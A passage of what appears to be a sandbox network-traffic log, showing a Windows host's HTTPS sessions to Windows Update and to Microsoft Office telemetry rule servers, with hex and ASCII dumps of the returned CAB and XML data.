2024-11-30 08:44:57 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-30 08:44:57 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49762	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:44:58 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9mLVmDo2tdp7sUT&MD=tTC+sUGa HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-30 08:44:58 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: aba2b137-5a50-4f98-9d21-72087b36354f MS-RequestId: 51db2c7f-340f-4492-b909-8dcec38665bf MS-CV: LLYzQA2t4Uy9LMbM.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 30 Nov 2024 08:44:57 GMT Connection: close Content-Length: 30005
2024-11-30 08:44:58 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-30 08:44:58 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:44:59 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:44:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:59 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: d92d581d-a01e-0050-5db5-42db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084459Z-174f78459684db9fhC1EWRc7g4000000017g0000000035uc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:44:59 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:44:59 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:44:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:59 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0b3277ea-501e-00a0-5e91-3f9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084459Z-174f7845968zgtf6hC1EWRqd8s0000000u600000000036v1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:44:59 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:44:59 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:44:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:59 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e4b3ee88-e01e-0071-3267-4008e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084459Z-174f784596886s2bhC1EWR743w0000001160000000006w7n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:44:59 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:44:59 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:44:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:59 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 6d807c6e-001e-005a-1d04-42c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084459Z-174f784596886s2bhC1EWR743w00000011a0000000001d7s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:44:59 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:44:59 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:44:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:59 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 22636776-e01e-0003-4fa8-420fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084459Z-174f7845968glpgnhC1EWR7uec000000117000000000bhx1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:44:59 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:01 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:01 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 30944020-a01e-0053-5e8b-3f8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084501Z-174f7845968glpgnhC1EWR7uec000000119g000000007rbu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:02 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:01 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:01 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 2030f408-901e-005b-5762-402005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084501Z-174f7845968vqt9xhC1EWRgten000000116g000000006rrt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:02 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:01 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:01 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: cd9c68de-c01e-0014-32a8-42a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084501Z-174f78459684db9fhC1EWRc7g4000000017g0000000035w5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:02 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:01 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:01 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: d00750c6-401e-0064-5e1b-4154af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084501Z-174f7845968jrjrxhC1EWRmmrs00000011eg0000000004em x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:02 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:01 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
